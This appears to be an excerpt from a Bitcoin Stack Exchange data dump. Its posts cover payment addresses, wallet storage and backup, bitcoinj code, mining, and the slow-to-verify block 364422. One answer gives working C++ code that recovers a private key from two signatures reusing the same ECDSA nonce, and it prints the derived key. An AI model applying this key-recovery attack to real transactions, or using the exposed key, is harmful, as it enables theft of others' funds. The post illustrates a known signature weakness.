  <row Id="42771" PostTypeId="2" ParentId="42763" CreationDate="2016-02-05T15:40:51.623" Score="8" Body="&lt;p&gt;Do you really care which customer paid, or do you care which bill was paid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have customers Anna and Bob, who both order something. Bob notices he's out of money, so Anna says she'll pay for both. If you really want the sender to reveal their identity, your system would already fail, as Bob never pays anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In almost all cases, all you care about is which bill is paid, and you have no need for the payer's identities (which could be a privacy violation in some cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal way to do this in practice is by creating a new payment address for each payment you want to receive. You track which bill was paid by tracking at which addresses you received money. Creating new addresses is very cheap, and they are sufficiently long that it is exceedingly unlikely that the same one will ever be produced twice.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-02-06T17:58:00.057" LastActivityDate="2016-02-06T17:58:00.057" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42772" PostTypeId="2" ParentId="42769" CreationDate="2016-02-05T16:39:41.077" Score="1" Body="&lt;p&gt;You did not specify any transaction id so we can't look into the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see however, that this bitcoin address has received bitcoins, and they have been spent again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the transactions of any bitcoin on a block explorer such as blocktrail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/BTC/address/18MJieFJcDiFbAsvSxe5iCaBAYsikgJta6&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/BTC/address/18MJieFJcDiFbAsvSxe5iCaBAYsikgJta6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2016-02-05T16:39:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42773" PostTypeId="1" AcceptedAnswerId="42775" CreationDate="2016-02-05T16:39:53.523" Score="1" ViewCount="291" Body="&lt;p&gt;I have a new-ish powerful laptop with SSD, limited to 128GB.&#xA;It came with a RAID which somehow didn't work for installing linux, so I had to disable the RAID and now I have actually two 64GB disks really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's just not enough to run the bitcoin client on it, the arch linux wiki recommends 80GB of disk space, and even ignoring that rather generous amount, it would fill up my disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run the client with a local wallet and all that but having the bitcoin DB on an external drive? &lt;/p&gt;&#xA;" OwnerUserId="32730" LastActivityDate="2016-02-05T16:50:57.833" Title="storing bitcoin's database directory on an external drive?" Tags="|blockchain|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42774" PostTypeId="2" ParentId="42733" CreationDate="2016-02-05T16:43:52.943" Score="0" Body="&lt;p&gt;You can indeed just send the coins to your new wallet on your new computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading the entire blockchain is not needed, you can also use a light-weight client that does not require the full download&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use electrum (&lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org&lt;/a&gt;) you can store your bitcoins, backup them easily by writing your seed down on a securely stored paper and never have to worry about moving/backupping your coins again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum is a lightweight client that does not download the entire blockchain and is very fast&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2016-02-05T16:43:52.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42775" PostTypeId="2" ParentId="42773" CreationDate="2016-02-05T16:50:57.833" Score="1" Body="&lt;p&gt;Bitcoind requires your wallet file to be in the same location as the rest of the files, so I think what you want to do will be difficult, as it might require editing the source/recompiling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can just store your wallet on the external drive too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can encrypt the wallet if you don't want it to fall in the wrong hands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the backupwallet command to back it up if you are affraid of the quality of your external drive...&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2016-02-05T16:50:57.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42776" PostTypeId="1" AcceptedAnswerId="42780" CreationDate="2016-02-05T16:57:52.520" Score="0" ViewCount="63" Body="&lt;p&gt;I have an external drive where at some point I did a complete backup of my (linux) home directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a directory &lt;code&gt;.bitcoin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have a computer, and I just installed &lt;code&gt;bitcoin-qt&lt;/code&gt; and other stuff. I started it and it generated a new receiver address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I copy the old &lt;code&gt;.bitcoin&lt;/code&gt; directory from the external drive to my current new home, will it work?&lt;/p&gt;&#xA;" OwnerUserId="32730" LastActivityDate="2016-02-05T21:22:00.317" Title="Restore a wallet from an external drive?" Tags="|wallet|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42779" PostTypeId="2" ParentId="38263" CreationDate="2016-02-05T21:14:04.733" Score="2" Body="&lt;p&gt;you have an exemple in bitcoinj documentation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/working-with-contracts&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/working-with-contracts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s see how to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create a random key.&#xA;ECKey clientKey = new ECKey();&#xA;// We get the other parties public key from somewhere ...&#xA;ECKey serverKey = new ECKey(null, publicKeyBytes);&#xA;&#xA;// Prepare a template for the contract.&#xA;Transaction contract = new Transaction(params);&#xA;List&amp;lt;ECKey&amp;gt; keys = ImmutableList.of(clientKey, serverKey);&#xA;// Create a 2-of-2 multisig output script.&#xA;Script script = ScriptBuilder.createMultiSigOutputScript(2, keys);&#xA;// Now add an output for 0.50 bitcoins that uses that script.&#xA;Coin amount = Coin.valueOf(0, 50);&#xA;contract.addOutput(amount, script);&#xA;&#xA;// We have said we want to make 0.5 coins controlled by us and them.&#xA;// But it's not a valid tx yet because there are no inputs.&#xA;Wallet.SendRequest req = Wallet.SendRequest.forTx(contract);&#xA;wallet.completeTx(req);   // Could throw InsufficientMoneyException&#xA;&#xA;// Broadcast and wait for it to propagate across the network.&#xA;// It should take a few seconds unless something went wrong.&#xA;peerGroup.broadcastTransaction(req.tx).get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30396" LastActivityDate="2016-02-05T21:14:04.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42780" PostTypeId="2" ParentId="42776" CreationDate="2016-02-05T21:22:00.317" Score="1" Body="&lt;p&gt;To avoid any problem,in your source computer backup your private keys &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind dumpprivkey &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to answer your question, By default Bitcoin will put its data here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~/.bitcoin/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the wallet is located in a file wallet.dat(&lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#Linux&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory#Linux&lt;/a&gt;), so if you copy it, it will works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fore a best security level, encrypt your wallet with a paraphrase before backaping it.&lt;/p&gt;&#xA;" OwnerUserId="30396" LastActivityDate="2016-02-05T21:22:00.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42781" PostTypeId="1" CreationDate="2016-02-05T23:33:51.353" Score="0" ViewCount="60" Body="&lt;p&gt;Bitcoin RPC command &lt;code&gt;getnewaddress&lt;/code&gt; returns a P2PKH address from the keypool, and marks it as &quot;used&quot; so it will not be returned by the same RPC call again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to be doing a lot of testing on that RPC command but will not actually send any money to those addresses - is there a way to &quot;reset&quot; the status of addresses in bitcoind's wallet?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-03-07T01:06:42.630" Title="Can you reset 'used' addresses that were actually never used?" Tags="|wallet|json-rpc|address-generation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42783" PostTypeId="2" ParentId="22333" CreationDate="2016-02-05T23:49:33.940" Score="1" Body="&lt;p&gt;I have written tools that an auditor should find very helpful for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool scans both receive and change addresses up to the gap limit, which is 20 by default (matches the standard), but can be adjusted if wished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps can be as simple as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;obtain the Master XPub key for the wallet.&lt;/li&gt;&#xA;&lt;li&gt;Go &lt;a href=&quot;https://mybitprices.info/hd-wallet-addrs.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to find all the addresses that have ever been used.&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Generate Price History Report For These Addresses&quot;.  This will generate a transaction history report, with historic USD prices.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the website should not be available for any reason in the future, the tools are open source and can be found on github.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;github.com/dan-da/hd-wallet-addrs&lt;/li&gt;&#xA;&lt;li&gt;github.com/dan-da/bitprices&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31594" LastActivityDate="2016-02-05T23:49:33.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42784" PostTypeId="2" ParentId="25734" CreationDate="2016-02-06T00:17:57.113" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I won't understand is how to get the wallet balance. Do I have to query unspent outputs for every public key in the wallet that I have generated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Short answer: Yes. Sort of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find all the keys up to Gap limit (most wallets use 20).  See Bip32 and 44.  If you really want to, you could go further though.  Then you lookup utxo for these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could just use &lt;a href=&quot;https://mybitprices.info/hd-wallet-addrs.html&quot; rel=&quot;nofollow&quot;&gt;mybitprices.info&lt;/a&gt; which will find the used addresses for you, and can also print out a transaction report.   Source code is on github, you can find it at above link.&lt;/p&gt;&#xA;" OwnerUserId="31594" LastActivityDate="2016-02-06T00:17:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42785" PostTypeId="2" ParentId="42781" CreationDate="2016-02-06T00:28:04.787" Score="1" Body="&lt;p&gt;afaik, there isn't.  If the wallets are just for testing, you could remove wallet.dat periodically and start over.  I guess the main reason for doing this would be if you are doing automated testing with tens of thousands to millions of addresses being created and it starts to slow performance significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you could always hack bitcoind and modify getnewaddress to return the first available address without any balance.  Or create a new API for this.&lt;/p&gt;&#xA;" OwnerUserId="31594" LastActivityDate="2016-02-06T00:28:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42787" PostTypeId="2" ParentId="40986" CreationDate="2016-02-06T06:38:42.627" Score="0" Body="&lt;p&gt;If you have a raw copy of the transaction, you could re-publish it over and over again until it gets confirmed. Even with very low transaction fees it should get confirmed in the end (but it might take long)&lt;/p&gt;&#xA;" OwnerUserId="32755" LastActivityDate="2016-02-06T06:38:42.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42788" PostTypeId="2" ParentId="42672" CreationDate="2016-02-06T08:50:00.307" Score="0" Body="&lt;pre&gt;&lt;code&gt;void Bitcoin::test ( )&#xA;{&#xA;  const QByteArray t1 ( QByteArray::fromHex ( &quot;010000000...ac00000000&quot; ) ); // strip&#xA;  const QByteArray t2 ( QByteArray::fromHex ( &quot;010000000...ac00000000&quot; ) ); // strip&#xA;  Stream stream1 ( t1 );&#xA;  Stream stream2 ( t2 );&#xA;  const Transaction tx1 ( stream1 );&#xA;  const Transaction tx2 ( stream2 );&#xA;  _trace ( QString ( &quot;txid1=%1&quot; ).arg ( tx1.getKey ( ).toString ( ) ) );&#xA;  _trace ( QString ( &quot;txid2=%1&quot; ).arg ( tx2.getKey ( ).toString ( ) ) );&#xA;  const TxInput in1 ( tx1.getInput ( 0 ) );&#xA;  const TxInput in2 ( tx2.getInput ( 0 ) );&#xA;  const QByteArray script1 ( in1.getScript ( ) );&#xA;  const QByteArray script2 ( in2.getScript ( ) );&#xA;  EvalScript escr1 ( script1 );&#xA;  EvalScript escr2 ( script2 );&#xA;  xassert ( escr1.evalInput ( ) == EVAL_I_SIG_PUB  );&#xA;  xassert ( escr2.evalInput ( ) == EVAL_I_SIG_PUB  );&#xA;  _trace ( QString ( &quot;pub1=%1&quot; ).arg ( escr1.getInPubKey ( ).toHex ( ).constData ( ) ) );&#xA;  _trace ( QString ( &quot;pub2=%1&quot; ).arg ( escr2.getInPubKey ( ).toHex ( ).constData ( ) ) );&#xA;  xassert ( escr1.getInPubKey ( ) == escr2.getInPubKey ( ) ); // same pubkeys?&#xA;  const MyByteArray sig1 ( escr1.getInSignature ( ) );&#xA;  const MyByteArray sig2 ( escr2.getInSignature ( ) );&#xA;  char buf [64];&#xA;  sig1.signatureRS ( buf );&#xA;  const MyKey32 R1 ( buf );&#xA;  const MyKey32 S1 ( buf + 32 );&#xA;  _trace ( QString ( &quot;R1=%1&quot; ).arg ( R1.toStringRev ( ) ) );&#xA;  _trace ( QString ( &quot;S1=%1&quot; ).arg ( S1.toStringRev ( ) ) );&#xA;  sig2.signatureRS ( buf );&#xA;  const MyKey32 R2 ( buf );&#xA;  const MyKey32 S2 ( buf + 32 );&#xA;  _trace ( QString ( &quot;R2=%1&quot; ).arg ( R2.toStringRev ( ) ) );&#xA;  _trace ( QString ( &quot;S2=%1&quot; ).arg ( S2.toStringRev ( ) ) );&#xA;  xassert ( R1 == R2 ); // are R-values really equal?&#xA;  const QByteArray xsc ( MyByteArray ( )&#xA;             .putInt8 ( OP_DUP )&#xA;             .putInt8 ( OP_HASH160 )&#xA;             .putPush ( MyKey20::calc ( escr1.getInPubKey ( ) ) )&#xA;             .putInt8 ( OP_EQUALVERIFY )&#xA;             .putInt8 ( OP_CHECKSIG ) );&#xA;  const MyKey32 Z1 ( tx1.getRawHash ( 0, xsc ) );&#xA;  const MyKey32 Z2 ( tx2.getRawHash ( 0, xsc ) );&#xA;&#xA;  _trace ( QString ( &quot;Z1=%1&quot; ).arg ( Z1.toStringRev ( ) ) );&#xA;  _trace ( QString ( &quot;Z2=%1&quot; ).arg ( Z2.toStringRev ( ) ) );&#xA;&#xA;  const MyKey20 address ( MyKey20::calc ( escr1.getInPubKey ( ) ) );&#xA;  const MyKey32 priv ( MyKey32::getPrivateKey ( R1, S1, Z1, S2, Z2, address ) );&#xA;  if ( priv.getAddressHashClassic ( ) == address )&#xA;    _trace ( QString ( &quot;classic priv=%1&quot; ).arg ( priv.toStringWif ( false ) ) );&#xA;  if ( priv.getAddressHashCompressed ( ) == address )&#xA;    _trace ( QString ( &quot;compressed priv=%1&quot; ).arg ( priv.toStringWif ( true ) ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;txid1=8c1d0dbe2fb84ec4b14ee146e3e899623b3e5c30aef4c8238cf9fe2f8406246c&quot;&#xA;&quot;txid2=40e334f8addc00a67209b2818ceb32e1ebd5c28133479f3e408d99f28267828d&quot;&#xA;&quot;pub1=04cb5035b2d8fc1019146a7e4fba751a9a9bfafa2d1e35528a9397051c6e630513694ab925adc4083dcafc86c92796a2b6ae977adfc0bb47df9106a6a9263d35f6&quot;&#xA;&quot;pub2=04cb5035b2d8fc1019146a7e4fba751a9a9bfafa2d1e35528a9397051c6e630513694ab925adc4083dcafc86c92796a2b6ae977adfc0bb47df9106a6a9263d35f6&quot;&#xA;&quot;R1=bdc4132fbd2d9334b54531babdd1f8ecc0a37e75b04c9521684490da25e5938e&quot;&#xA;&quot;S1=b973d6c776f1a8db2b7bc654c7e55384422677f41928ec4c30643f383d587bfd&quot;&#xA;&quot;R2=bdc4132fbd2d9334b54531babdd1f8ecc0a37e75b04c9521684490da25e5938e&quot;&#xA;&quot;S2=be1c50365d8ed4e269cb7350dee3b5fcc9f81856726a590dcdd3f538dafcd045&quot;&#xA;&quot;Z1=187509d80dacdd9b35f626dedd2856c7a318455e2d37bcacfe006406b60cf2fe&quot;&#xA;&quot;Z2=41d91692534416f8e8d6f3480bb1eae488ce4e24e3afb2c830534411ea5efb1c&quot;&#xA;&quot;classic priv=5K1V3pAHQ5DgALeiCC2NfgKESKEaygmCLtBRPFbw9eu1uJrDHW1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... aaaaaaand the private key is &lt;strong&gt;5K1V3pAHQ5DgALeiCC2NfgKESKEaygmCLtBRPFbw9eu1uJrDHW1&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-02-06T08:50:00.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42789" PostTypeId="1" AcceptedAnswerId="42804" CreationDate="2016-02-06T11:11:14.490" Score="2" ViewCount="3925" Body="&lt;p&gt;After reading many articles, I didn't find an answer to the following. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Miners use special software to solve math problems&quot; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Okay, but for whom? Are there organizations or people that need those math problems to be solved?&lt;/p&gt;&#xA;" OwnerUserId="32758" LastEditorUserId="5406" LastEditDate="2016-02-08T09:10:08.357" LastActivityDate="2016-02-08T09:10:08.357" Title="Who benefits from mining?" Tags="|mining-theory|" AnswerCount="1" CommentCount="2" ClosedDate="2016-02-08T13:09:45.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="42790" PostTypeId="1" AcceptedAnswerId="42793" CreationDate="2016-02-06T11:54:21.273" Score="13" ViewCount="1992" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block/000000000000000000283e9409575c2426cd72fcb722065431c52b5083e5bb58&quot;&gt;Block 364422&lt;/a&gt; contains a &lt;a href=&quot;https://blockchain.info/tx/5d8875ed1707cfee2221741b3144e575aec4e0d6412eeffe1e0fa07335f61311&quot;&gt;transaction&lt;/a&gt; that takes a long time to verify. This transaction design demonstrates a way a denial of service attack could be executed. &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-July/009494.html&quot;&gt;This prompted Gavin Andresen to propose additional limits to the protocol.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin talks about this issue in &lt;a href=&quot;https://www.youtube.com/watch?v=j5OjMdqkiiI&amp;amp;t=662&quot;&gt;this video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it known who mined this particular block? What was their intention? Did they collude with the person who generated the transaction?&lt;/p&gt;&#xA;" OwnerUserId="30276" LastEditorUserId="30276" LastEditDate="2016-02-06T14:28:32.553" LastActivityDate="2016-02-06T14:49:35.903" Title="Who mined the infamous block 364422?" Tags="|transactions|security|block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42791" PostTypeId="2" ParentId="42790" CreationDate="2016-02-06T13:28:43.267" Score="10" Body="&lt;p&gt;Disclaimer: I proposed a partial solution myself to this problem (BIP 143, see below).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Did the miner collude with the creator of the transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, because they are the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a transaction that consumes a ton of dust outputs, and converts them to fees, which the miner claimed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt that the intention was to cause problems; it may just have been an attempt to clean up a lot of dust at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it did make it more obvious that the theoretical problem of quadratic hashing time for verification of blocks was real. The cause is that every signature requires computing a different hash, and that that hash is computed using the entirety of the transaction as input. Thus, if the number of signature checks in a transaction grows, both the number of hashes to compute as the amount of data each of them needs to hash increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several solutions have been proposed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Limiting the maximum size of transactions.&lt;/li&gt;&#xA;&lt;li&gt;Limiting the total amount of data hashed by a transaction.&lt;/li&gt;&#xA;&lt;li&gt;Changing the way hashes are computed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1 (and to a lesser extent 2) would harm potentially useful large transactions in the future, depending on what the limits are. In particular, scaling solutions that rely on collapsing multiple payments into a single transaction may get hurt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deploying 3 for existing transaction outputs would require a hard fork, and a change to every piece of wallet software. Additionally, it would invalidate any pre-signed but unbroadcast transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, 3 can be deployed for a new type of transaction output. &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki&quot;&gt;BIP 143&lt;/a&gt; describes a new signature hashing mechanism that is at worst linear in the size of blocks, but only applies to transaction inputs that spend segregated witness outputs (see &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki&quot;&gt;BIP 141&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-02-06T13:39:33.670" LastActivityDate="2016-02-06T13:39:33.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42792" PostTypeId="2" ParentId="9366" CreationDate="2016-02-06T13:37:53.620" Score="5" Body="&lt;p&gt;Warning: doing what is described below will not gain you any coins at all with exceedingly high probability, and just burn electricity (see other answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core still has a built-in miner. It is not efficient, not optimized, does not use any special hardware (like special CPU instructions, GPUs, FPGAs, or ASICs), and is only useful for testing on test chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable it by issuing the RPC command &lt;code&gt;setgenerate true&lt;/code&gt;, and disable it with &lt;code&gt;setgenerate false&lt;/code&gt;. These commands can be issued in the debug console in Bitcoin-Qt, or using an RPC client (like &lt;code&gt;bitcoin-cli&lt;/code&gt;) to send it to a running &lt;code&gt;bitcoind&lt;/code&gt; instance.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-06T13:37:53.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42793" PostTypeId="2" ParentId="42790" CreationDate="2016-02-06T14:20:04.567" Score="9" Body="&lt;p&gt;Excellent answer by Pieter Wuille. Pieter just forgot to answer the question of the post title, &quot;Who mined the infamous block 364423?&quot;&#xA;Unfortunately, the question &lt;del&gt;is &lt;/del&gt; was &quot;wrong&quot;: the first two links in the OP's text point at block 364422, not 364423. (edit: meanwhile the OP removed the discrepancy)&lt;br&gt;&#xA;Either way, both&#xA;Bitcoin blocks 364422 and 364423 had been mined by F2Pool (also called &quot;DiscusFish&quot;). The outputs went to the Bitcoin address 1KFHE7w8BhaENAswwryaoccDb6qcT6DbYY which belongs to F2Pool, see &lt;a href=&quot;https://github.com/blockchain/Blockchain-Known-Pools/blob/master/pools.json&quot;&gt;https://github.com/blockchain/Blockchain-Known-Pools/blob/master/pools.json&lt;/a&gt;&lt;br&gt;&#xA;Both blocks were merged-mined with Namecoin blocks 238371 and 238372 respectively. The coinbase string of Bitcoin block 364422 as well as the auxPoW data in Namecoin block 238371 contain &quot;新視野號距冥王星6951602公里&quot; (Chinese for: &quot;New Horizons' distance to Pluto: 6951602 km&quot;). The coinbase string of Bitcoin block 364423 as well as the auxPoW data in Namecoin block 238372 contain &quot;New Horizons is 6948752 km to Pluto&quot; (this time in English). One of the pool operators at F2Pool wrote a script that inserted the current distance of NASA's New Horizons probe from Pluto into the coinbase string. After the arrival of the NASA probe he removed that script, and the F2Pool coinbase string contains the usual F2Pool info as before. Amongst other data this includes &quot;七彩神仙鱼&quot;, &quot;Discus Fish&quot; in Chinese language.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, because they are the same person.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess Pieter is refering to Wang Chun. There is a little message in the tx output script: &quot;七彩神仙鱼  Bitcoin to Pluto!&quot;&lt;/p&gt;&#xA;" OwnerUserId="27267" LastEditorUserId="27267" LastEditDate="2016-02-06T14:49:35.903" LastActivityDate="2016-02-06T14:49:35.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42794" PostTypeId="1" CreationDate="2016-02-06T14:22:17.797" Score="2" ViewCount="162" Body="&lt;p&gt;&lt;br&gt;&#xA;is there an example of how using BitcoinJ send BTC with an attachment?&lt;br&gt; Lets say I want to write to blockchain &quot;Vaclav Bilek Born 1991&quot;. &lt;br&gt;&#xA;If I understand it correctly, its just about sending minimum bitcoins possible with current minimum fee? &lt;br&gt;&#xA;Is here a way how to do this in BitcoinJ ?&lt;br&gt;&#xA;Usual syntax of sending BTC allow me only to send BTC like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kit.wallet().sendCoins(kit.peerGroup(), to, value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to achieve adding attachment? And how long can the attachment be? What if I want to send longer attachment, is here standardised way how to do that? Or I just make two TX and tell the people who I wants to see it, that one half is in TX1321... and other hald in TX3214... ?&#xA;&lt;br&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="31611" LastActivityDate="2016-02-06T14:22:17.797" Title="Send BTC with attachment using BitcoinJ" Tags="|bitcoinj|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42795" PostTypeId="2" ParentId="7721" CreationDate="2016-02-06T14:33:59.280" Score="1" Body="&lt;pre&gt;&lt;code&gt;WalletAppKit kit=new WalletAppKit(MainNetParams.get(), new File(&quot;.&quot;), &quot;mywalletfilename&quot;);&#xA;kit.setAutoSave(true);&#xA;kit.startAsync();&#xA;kit.awaitRunning();&#xA;kit.wallet().addEventListener(new WalletListener());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while listener looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class WalletListener  extends AbstractWalletEventListener {&#xA;public WalletListener() {&#xA;}&#xA;&#xA;@Override&#xA;public void onCoinsReceived(org.bitcoinj.core.Wallet wallet, Transaction tx, Coin prevBalance, Coin newBalance) {&#xA;    System.out.println(&quot;-----&amp;gt; coins resceived: &quot; + tx.getHashAsString()+&quot; prevBalance = &quot;+prevBalance.getValue()+&quot; newBal=&quot;+newBalance.getValue());&#xA;    System.out.println(&quot;received: &quot; + tx.getValue(wallet));&#xA;}&#xA;&#xA;@Override&#xA;public void onTransactionConfidenceChanged(org.bitcoinj.core.Wallet wallet, Transaction tx) {&#xA;    System.out.println(&quot;-----&amp;gt; confidence changed: &quot; + tx.getHashAsString());&#xA;    TransactionConfidence confidence = tx.getConfidence();&#xA;    System.out.println(&quot;new block depth: &quot; + confidence.getDepthInBlocks());&#xA;}&#xA;&#xA;@Override&#xA;public void onCoinsSent(org.bitcoinj.core.Wallet wallet, Transaction tx, Coin prevBalance, Coin newBalance) {&#xA;    System.out.println(&quot;coins sent&quot;);&#xA;}&#xA;&#xA;@Override&#xA;public void onReorganize(org.bitcoinj.core.Wallet wallet) {&#xA;}&#xA;&#xA;@Override&#xA;public void onWalletChanged(org.bitcoinj.core.Wallet wallet) {&#xA;}&#xA;&#xA;@Override&#xA;public void onKeysAdded(List&amp;lt;ECKey&amp;gt; keys) {&#xA;    System.out.println(&quot;new key added&quot;);&#xA;}&#xA;&#xA;    /*@Override&#xA;    public void onScriptsAdded(Wallet wallet, List&amp;lt;Script&amp;gt; scripts) {&#xA;        System.out.println(&quot;new script added&quot;);&#xA;    }*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be working enough for receiving BTC ;) dont forget TXConfidence changed where it tells you that TX confirmations count changed and to what it changed...&#xA;;-)&lt;/p&gt;&#xA;" OwnerUserId="31611" LastActivityDate="2016-02-06T14:33:59.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42796" PostTypeId="2" ParentId="42651" CreationDate="2016-02-06T15:58:38.340" Score="1" Body="&lt;p&gt;I have solved the problem by going back to Windows 10. Bitcoin Core no longer crashes, and my node has in fact been running nonstop for days.&lt;/p&gt;&#xA;" OwnerUserId="30782" LastActivityDate="2016-02-06T15:58:38.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
